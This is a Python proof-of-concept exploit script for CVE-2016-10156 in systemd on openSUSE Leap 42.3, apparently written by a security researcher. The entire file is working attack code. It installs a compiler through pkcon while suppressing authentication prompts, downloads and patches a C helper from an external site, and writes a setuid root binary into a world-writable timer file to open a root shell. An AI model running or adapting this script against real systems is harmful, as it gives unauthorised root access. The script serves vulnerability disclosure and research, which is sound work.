#!/usr/bin/python # vim: noet ts=8 sts=8 sw=8 # Author: Matthias Gerstner # SUSE Linux GmbH # Date: 2018-04-06 # # This script exploits CVE-2016-10156 in systemd. It is designed to run on # openSUSE Leap 42.3. # # Preconditions: # - systemd 228 is installed # - a new timer file in /var/lib/systemd/timers has been created with # mode 7777. # - PackageKit is installed for installing a compiler w/o admin # authentication # # This program downloads and build the necessary tools to write a working # setuid root binary into the timer file and start a root shell. # # Should any graphical password prompts popup (from pkcon) simply cancel them. from __future__ import print_function import os import subprocess import functools import urllib2 import stat call = functools.partial(subprocess.call, close_fds = True, shell = False) check_output = functools.partial(subprocess.check_output, close_fds = True, shell = False) popen = functools.partial(subprocess.Popen, close_fds = True, shell = False) def download_url(url): base = url.split('/')[-1] print("Downloading", url, "to", base) con = urllib2.urlopen(url) with open(base, 'w') as fd: while True: chunk = con.read(4096) if not chunk: break fd.write(chunk) return os.path.join( os.getcwd(), base ) def build_prog_from_file(src): base = os.path.splitext(src)[0] cmdline = [gcc, src, "-o", base] print("Trying to compile", src) print("Using command line", ' '.join(cmdline)) res = call(cmdline) if res == 0: print("Successfully built", src, "in", base) else: print("Failed to build", src) sys.exit(1) return os.path.join( os.getcwd(), base ) def run_pkcon(cmdline): pkcon = "/usr/bin/pkcon" cmdline = [pkcon, "-y"] + cmdline print("Using command line", ' '.join(cmdline)) # use /dev/null as stdin to suppress authentication dialogs with open("/dev/null", 'r') as null: res = call( cmdline, stdin = null ) if res == 0: print("Successfully called pkcon") else: print("pkcon failed") sys.exit(1) # hint is a prefix for finding the right RPM package in the cache (e.g. # multiple gcc packages with various prefixes are downloaded) def install_package(pkg, hint): cmdline = [ "install", "--only-download", pkg ] print("Trying to download system package", pkg) run_pkcon(cmdline) candidates = [] archives_root = "/var/cache/zypp/packages/repo-oss/suse/x86_64" if not os.path.isdir(archives_root): # not quite sure why on some systems different cache paths # turn up archives_root = "/var/cache/zypp/packages/openSUSE-Leap-42.3-0/suse/x86_64/" # now look up the archive and install it, dependencies are implicitly # pulled in by PackageKit for archive in os.listdir(archives_root): if not archive.endswith(".rpm"): continue elif not archive.startswith(pkg): continue elif not archive.startswith(hint): continue candidates.append(archive) if not candidates: print("Couldn't determine rpm package to install") sys.exit(1) elif len(candidates) > 1: print("More than one rpm install candidate found:", candidates) sys.exit(1) pkg_archive = os.path.join( archives_root, candidates[0] ) cmdline = [ "install-local", "--allow-reinstall", pkg_archive ] print("Trying to install", pkg_archive) run_pkcon(cmdline) def find_setuid_timer(): systemd_timers_dir = "/var/lib/systemd/timers" for timer in os.listdir(systemd_timers_dir): timer = os.path.join( systemd_timers_dir, timer ) s = os.stat(timer) if s.st_mode & stat.S_ISUID != 0: print("Using", timer, "as exploit setuid file") return timer print("Failed to find a setuid root file in", systemd_timers_dir) sys.exit(1) timer_file = find_setuid_timer() gcc = "/usr/bin/gcc" # first make sure we have a working compiler if not os.path.exists(gcc): # we need a compiler to build some source on the fly install_package("gcc", "gcc-4.8") # this program helps to change the content of a setuid file # usually writing to a setuid binary causes the kernel to remove the setuid # bit. but there is a way around. create_setgid_url = "https://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/CreateSetgidBinary.c" create_setgid_src = download_url(create_setgid_url) create_setuid_src = create_setgid_src.replace("gid", "uid") if create_setgid_src == create_setuid_src: print("Failed to find new filename for", create_setgid_src) sys.exit(1) # we need to replace the system call number, because the original program was # used to change the GID, we cant to change the UID. with open(create_setuid_src, 'w') as setuid_file, open(create_setgid_src, 'r') as setgid_file: for line in setgid_file.readlines(): # replace __NR_setresgid32 by __NR_setresuid32 line = line.replace("0xd2", "0xd0") setuid_file.write(line) create_setuid_bin = build_prog_from_file(create_setuid_src) cmdline = [create_setuid_bin, timer_file, "/bin/mount", "x", "nonexistent-arg"] print("Trying to construting setuid root binary via command line:\n") print(' '.join(cmdline)) print() res = call(cmdline) if res != 0: print("Seems to have failed") sys.exit(1) print("Entering root shell") call([timer_file, "/bin/bash"])